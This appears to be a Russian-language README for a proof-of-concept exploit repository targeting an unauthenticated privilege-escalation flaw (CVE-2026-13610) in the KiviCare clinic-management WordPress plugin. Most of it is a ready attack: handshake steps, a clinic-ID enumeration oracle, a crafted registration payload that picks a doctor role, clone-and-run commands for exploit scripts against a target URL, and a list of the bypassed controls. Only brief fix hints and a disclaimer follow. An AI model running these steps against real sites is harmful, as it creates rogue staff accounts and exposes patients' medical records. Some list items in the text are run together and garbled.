
Эксплойт PoC для неаутентифицированного создания учётных записей врача/регистратора в плагине KiviCare для WordPress через некорректное управление привилегиями, предоставляющий доступ к PHI на уровне персонала.
CWE-269 (Некорректное управление привилегиями) | Неаутентифицированная регистрация с выбранной атакующим служебной ролью → раскрытие PHI пациентов
Критическая уязвимость в WordPress-плагине KiviCare – Clinic & Patient Management System (версии до 4.5.1 включительно), которая позволяет неаутентифицированным атакующим регистрировать учётную запись врача (kiviCare_doctor) или администратора регистратуры (kiviCare_receptionist) с самостоятельно выбранным паролем, привязанную к выбранной атакующим клинике.
Уязвимость существует потому, что публичный эндпоинт регистрации принимает параметр user_role напрямую из тела запроса, а его белый список проверки включает служебные роли клиники:
Эндпоинт регистрации POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) защищён только функцией
checkRegistrationPermission() (:602–650), которая:
true, если включён users_can_register (без проверки аутентификации).KCOption::get() возвращает null в стандартных установках.return true.Затем обработчик register() (:1277–1387) читает user_role из тела запроса, сопоставляет его с моделями KCDoctor / KCReceptionist и вызывает $model->save() — который запускает wp_insert_user() и setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) без какой-либо проверки авторизации. Полученная учётная запись активна и привязана к выбранной атакующим клинике.
Сквозное шифрование тела запроса (E2EE) в плагине не является преградой: эндпоинты рукопожатия (server-key, config/register-key) не требуют аутентификации (app/controllers/api/ConfigController.php:190–205), поэтому любой клиент может согласовать гостевой ключ и отправить зашифрованную полезную нагрузку.
Полный разбор: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
Скрипт автоматически определяет режим передачи (обычный JSON или E2EE-шифрование) и перебирает ID клиник, если параметр --clinic не указан.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Выполняет вход через REST, перепривязывает E2EE-ключ ответа учётной записи, а затем вызывает эндпоинты, доступные только персоналу (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Успешная эксплуатация приводит к созданию активной служебной учётной записи, привязанной к реальной клинике, без необходимости аутентификации:
wp-admin (read + upload_files) — плацдарм для дальнейших атакЭндпоинт не позволяет создавать учётную запись WordPress с ролью administrator (белый список user_role отклоняет её), но роли врача достаточно для полного доступа к клиническим данным.
patient_role_onlycurrent_user_can('create_users') и noncecheckRegistrationPermission — удалите завершающий return truerecaptchaToken, когда включена reCAPTCHA (сейчас параметр необязателен)ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.
Этот инструмент предназначен для специалистов по безопасности и пентестеров, имеющих явное письменное разрешение на тестирование целевых систем. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование этого инструмента. Все проверки выполнялись на собственной лабораторной инфраструктуре автора.
ghostpels — Исследования в области безопасности и разработка эксплойтов
Этот проект лицензирован в соответствии с ghostpels Security Research License.
| Контроль | Что делает | Результат |
|---|
permission_callback | Нет is_user_logged_in(), нет nonce, нет проверки прав | Проходит; в конце return true |
Белый список user_role | Принимает kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | Атакующий выбирает служебную роль |
Параметр patient_role_only | Объявлен со значением yes по умолчанию | Никогда не читается — мёртвый параметр |
| reCAPTCHA | Проверяется только if (isset($params['recaptchaToken'])) | Обходится, если опустить параметр |
| Поле | Значение |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Некорректное управление привилегиями) |
| Плагин | KiviCare – Clinic & Patient Management System |
| Затронутые версии | Версии до 4.5.1 включительно |
| Исправлено | Не подтверждено на момент проведения анализа |
| Тип | Неаутентифицированное создание учётной записи со служебной ролью (повышение привилегий) |
| Исследователь | Sai Praneeth Koti |
| Опубликовано | 2026 |